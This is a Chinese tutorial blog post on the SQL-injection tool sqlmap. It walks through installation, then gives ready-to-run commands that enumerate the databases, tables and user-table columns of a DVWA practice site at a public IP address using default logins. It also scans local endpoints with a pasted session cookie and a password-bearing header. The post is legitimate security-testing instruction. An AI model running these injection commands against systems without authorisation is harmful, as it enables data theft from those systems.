PS:偶然间看到BT的招聘要求,他们需要SQL注入、XSS、命令执行、文件上传、CSRF、逻辑漏洞等对于网络安全专业的我来说实在是诱惑太大,毕竟人家从17年走到现在,已经市值过亿了,不敢恭维。下面是他们招聘网络安全工程师的要求之一,SQLMAP数据库漏洞注入软件,手段以及修复等问题,这篇文章主要是抄袭过来的,顺手保存并发布一下,毕竟简单的实操环节比较

1.sqlmap简介

最白话的介绍就是sqlmap是一个工具,一个用来做sql注入攻击的工具

2.windows安装python2

这个sqlmap需要python2才可以正常执行,注意python3不行哦,如果你已经安装了python3,本地同时安装python2和python3,需要注意修改其中一个python执行文件的名字,以便在path中添加环境变量的时候,可以正确区分,详细这里不进行赘述,如果不了解,建议自行百度。

3. windows安装sqlmap

3.1 下载压缩包

在sqlmap的网站上下载对应的压缩文

3.2 解压文件

解压到任意文件夹皆可 解压以后大概是这个样子的

之后就是要执行这个sqlmap.py的文件

3.3 启动一个命令行,执行sqlmap.py

如果出现这个界面,表示一切正常

按任意键结束

4. 测试sqlmap功能

4.1 使用DVWA测试网站

4.1.1 关于dvwa

这个网站有sql漏洞,专门拿来测试用,不知道是哪位好心人搞出来的

网址是:http://43.247.91.228:81/login.php 登陆的用户名密码是:admin/password

4.1.2 操作

首先登陆成功以后三步走,拿到需要的url
拿到url以后,就可以使用这个url来注入了
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"

出现如下结果,则表示sqlmap检测到有可以注入的地方,

ps:如果没有检测到可以注入的地方,会显示如下

既然检测到有可以注入的地方,现在我们就来通过这个注入来获取一些数据库的信息
获取数据库
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs

可以看到执行以后拿到了数据库的信息

再进一步,获取数据库中表的信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables

可以看到,拿到了dvwa这个库中的所有表的名字

再进一步,获取表中的字段信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns

可以看到,拿到了表中的所有字段

4.2 使用本地网站

4.2.1 本地网站是本地的项目,现在用本地的项目跑起来来测试sqlmap

主要测试三个url: http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3' http://localhost:9099/record/user/2019-03-09 127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684

4.2.2 操作--url1

url1:http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3',这是一个post请求,nsrsbh是所需要的参数

执行:

python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'"  --method=POST

可以看到,没有访问到正确的连接,而是被重定向到了登陆的login页面,这是因为这个网站需要登陆,没有登陆的情况访问链接就会被重定向到登陆页面,所以在这里现在浏览器中登陆,然后拿到浏览器的cookie,让sqlmap携带着cookie再去攻击

拿到浏览器的cookie

执行(携带cookie):

python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST

执行结果:可以看到,并没有找到可以注入的地方

image.png

观察这个网站的日志,也可以看到,这个接口被调用很多次,都是sqlmap自动调用的,它在尝试寻找可以注入的地方

image.png

4.2.3 操作--url2

url2:http://localhost:9099/record/user/2019-03-09,这是一个get请求,2019-03-09是restful风格的参数

同样携带cookie执行:

python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET

执行结果,没有发现可以注入的地方

查看网站后台,接口同样被调用多次

4.2.3 操作--url3

url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,这也是一个get请求,但是不同的是,这个接口不需要cookie就可以访问,但是需要携带正确的header才可以执行

携带header执行:

python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684"  --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"

执行结果,没有找到可以注入的地方

查看后台,接口同样被调用多次

5. 总结

简单的使用就是这样,需要一个url,有的可能需要携带cookie,有的可能需要携带header, 如果找到了注入点,就可以拿到一些数据信息,但是现在的网站通常也比较难找到可以注入的url。 可以通过这种方式来检测自己写的接口是否有被sql注入的风险

关于sqlmap的命令还有更深入的,可以通过-h或者--help来查看更多的指令操作,比如不想每次执行语句的时候都要手动确认一些选择项,可以通过--batch指令,让sqlmap自己去决定。